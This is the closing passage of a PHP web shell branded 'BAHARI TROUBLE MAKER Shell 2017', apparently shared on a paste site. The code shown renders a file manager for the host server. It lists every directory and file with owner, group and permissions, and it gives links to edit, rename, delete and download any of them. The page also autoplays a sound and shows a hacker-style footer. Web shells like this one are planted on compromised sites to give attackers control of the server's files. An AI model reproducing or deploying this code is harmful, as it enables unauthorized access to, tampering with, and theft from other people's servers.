  4613. $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  4614. }
  4615. echo "<tr>";
  4616. echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  4617. echo "<td class='td_home'><center>$dtype</center></td>";
  4618. echo "<td class='td_home'><center>-</center></th></td>";
  4619. echo "<td class='td_home'><center>$dtime</center></td>";
  4620. echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
  4621. echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  4622. echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  4623. echo "</tr>";
  4624. }
  4625. }
  4626. } else {
  4627. echo "<font color=red>can't open directory.</font>";
  4628. }
  4629. foreach($scandir as $file) {
  4630. $ftype = filetype("$dir/$file");
  4631. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  4632. $size = filesize("$dir/$file")/1024;
  4633. $size = round($size,3);
  4634. if(function_exists('posix_getpwuid')) {
  4635. $fowner = @posix_getpwuid(fileowner("$dir/$file"));
  4636. $fowner = $fowner['name'];
  4637. } else {
  4638. //$downer = $uid;
  4639. $fowner = fileowner("$dir/$file");
  4640. }
  4641. if(function_exists('posix_getgrgid')) {
  4642. $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
  4643. $fgrp = $fgrp['name'];
  4644. } else {
  4645. $fgrp = filegroup("$dir/$file");
  4646. }
  4647. if($size > 1024) {
  4648. $size = round($size/1024,2). 'MB';
  4649. } else {
  4650. $size = $size. 'KB';
  4651. }
  4652. if(!is_file("$dir/$file")) continue;
  4653. echo "<tr>";
  4654. echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  4655. echo "<td class='td_home'><center>$ftype</center></td>";
  4656. echo "<td class='td_home'><center>$size</center></td>";
  4657. echo "<td class='td_home'><center>$ftime</center></td>";
  4658. echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
  4659. echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  4660. echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  4661.  
  4662. echo "</tr>";
  4663. }
  4664. echo "</table>";
  4665. if(!is_readable($dir)) {
  4666. //
  4667. } else {
  4668. echo"<br>";
  4669. }
  4670. }
  4671. ?>
  4672. <audio autoplay> <source src="http://www.soundescapestudios.com/SESAudio/SES%20Site%20Sounds/Beeps/Beeps-short-01.wav" type="audio/mpeg"></audio>
  4673. <link href='http://fonts.googleapis.com/css?family=Give+You+Glory' rel='stylesheet' type='text/css'>
  4674. </center><br></span><footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:right;">
  4675. <font color="lime" size="2" face="Give You Glory">&copy; BAHARI TROUBLE MAKER Shell 2017</font></footer>
  4676. </html>
Add Comment
Please, Sign In to add comment